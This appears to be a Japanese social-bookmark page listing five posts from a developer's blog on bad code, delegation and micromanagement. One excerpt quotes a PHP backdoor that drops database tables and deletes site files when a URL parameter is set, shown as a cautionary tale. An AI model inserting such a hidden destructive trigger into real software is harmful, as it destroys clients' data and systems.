タグ

ブックマーク / masayang.hatenablog.com (5)

  • こういうコードを書く人を... - masayang's diary

    The Daily WTF: SQL Error 191: Nested Way Too F#%&ing Deeply SELECT DISTINCT COUNT(Task.RecId) FROM Task WHERE (Task.TaskType = @P514) AND (Task.Status = @P1) AND (Task.RecId is not null) AND (((((((((((((((((((((((((((((((((((((((((((((((((((( (((((((((((((((((((((((((((((((((((((((((((((((((((( (((((((((((((((((((((((((((((((((((((((((((((((((((( ((((((((((((((((((((((((((((((((((((((((((((((((((

    こういうコードを書く人を... - masayang's diary
    t_yano
    t_yano 2010/01/04
    そういう風に最初に教えてもらって、それしか方法がないと思い込んで疑問を持たなかった(他の方法を探そうとしなかった)ってことかな。
  • バックドア - masayang's diary

    The Daily WTF: Maybe I Needing Later オフショア開発委託のお話。 // maybe I needing later if ($_GET['page'] == "delete_all_files"){ echo "del"; mysql_query("DROP TABLE *"); unlink("index.php"); unlink("apps.php"); unlink("resources"); ... snip all files ... } 番にこんなコードを入れられていたそうな。 委託元が支払いを渋ったら実行するつもりだったんでしょ。 それにしても原始的だなぁ... 気でやるのならPHPの【                       】←各自コメント欄に(笑

    バックドア - masayang's diary
    t_yano
    t_yano 2009/12/30
    こえーーと思ったけど,支払わないなら文句も言えないよな,とも思った。支払ってないならそのコードおよび派生物の権利は委譲されてないしねえ/かといってやれるかと言えば恐ろしいのでやらないけど
  • 権限委譲をしないことによる機会損失 - masayang's diary

    からカンファレンス参加で出張している人と夕。 そこでの話題。 アメリカのカンファレンスでよくやってるアンケート調査では、「役職」の他に「決定権」「予算権限」が質問される。こんな感じ。 機器発注に関するあなたの決定権限は? 【最終決定権限を持つ】【提言するところまで】【助言するところまで】 機器発注に関するあなたの予算権限は?【1万ドルまで】【10万ドルまで】【100万ドルまで】 でも、日の企業だとこれらがことごとく部長とかそれ以上の役職に集中しちゃうよね、というお話。 なんでも集中しちゃうから、その人達は短時間で物事を判断しなければならなくなる。 そのための説明資料作りで部下達は奔走しないといけない。 だとしても、短期間での判断を強いられるので、意思決定はどうしても「守り」に偏ったものになる。 こういう「資料作成とか説明にかかる時間」とか「保守的な判断に偏ることで失われる機会」とか

    権限委譲をしないことによる機会損失 - masayang's diary
    t_yano
    t_yano 2009/05/01
    「予算権限」ってとても重要だと思うし、そんなめちゃくちゃ難しいものでもない(必要なのは踏ん切りくらい?)と思うんだけど、既得権益とか絡んでるのかな〜
  • BMUF (Big Modeling Up Front)=上流設計のインチキを斬る - masayang's diary

    DDJのCounteracting the False Arguments for Big Modeling Up Front (BMUF)という記事が面白い。BMUFは、日語なら「上流設計」だろうね。SI屋の自称上流設計エンジニアがやってる、アレだ。[*1] この記事を書いているのはScott Ambler。Refactoring Database著者だ。例によって無断適当意訳。読みやすくするために原文よりも段落を増やした。 上流設計(BMUF)にまつわる嘘を斬る 自分は1980年代から数々のプロジェクトで上流設計をしてきたし、様々な手法をみてきた。 そして、うまく行った事例よりは、うまくいかなかった事例の方が多いと言えるね。プロジェクトは明らかに失敗しつつあるのに、上流設計は順調に進んでいる、という現象を誰よりも多く見てきた、ということも言っておこう。 まだあるよ。上流設計担当の人た

    BMUF (Big Modeling Up Front)=上流設計のインチキを斬る - masayang's diary
    t_yano
    t_yano 2009/02/13
    『Sketches of Frank Gehry』あとでかう。
  • 不況とマイクロマネージメントの相乗効果 - masayang's diary

    昨年9月以来の日出張。 システム開発業界にも冷たい風が吹きまくりなのを実感。 前回出張時より確実に状況はまずくなっている。 マイクロマネージメントは状況を悪化させる その「まずい」状況をよりまずくさせている要因がある。 マイクロマネージメントだ! 利益が減っていく中で細々とした管理を徹底すると、利益はさらに低下してしまうか、赤字に陥る。 一方、世の中には「マイクロマネージメントで赤字が減らせる」と思っている現場があるらしい。*1 正しくは「マイクロマネージメントで原価が膨れ上がったプロジェクトに対してもお金を払ってくれる太っ腹な*2お客さんがいた*3」というだけのこと。 売上が減ると...現場は悲惨なことになる。 あなたの現場はマイクロマネージメント? 以下に該当する項目が多ければ多いほど、あなたの現場はマイクロマネージメントだと思ってよい。 パワーポイントのマスタースライドは所定のもの

    不況とマイクロマネージメントの相乗効果 - masayang's diary
    t_yano
    t_yano 2009/01/26
    『しかも上司のハンコもらうには、まず「押印申請書」にハンコをもらわなければならない』←なんだこれw
  • 1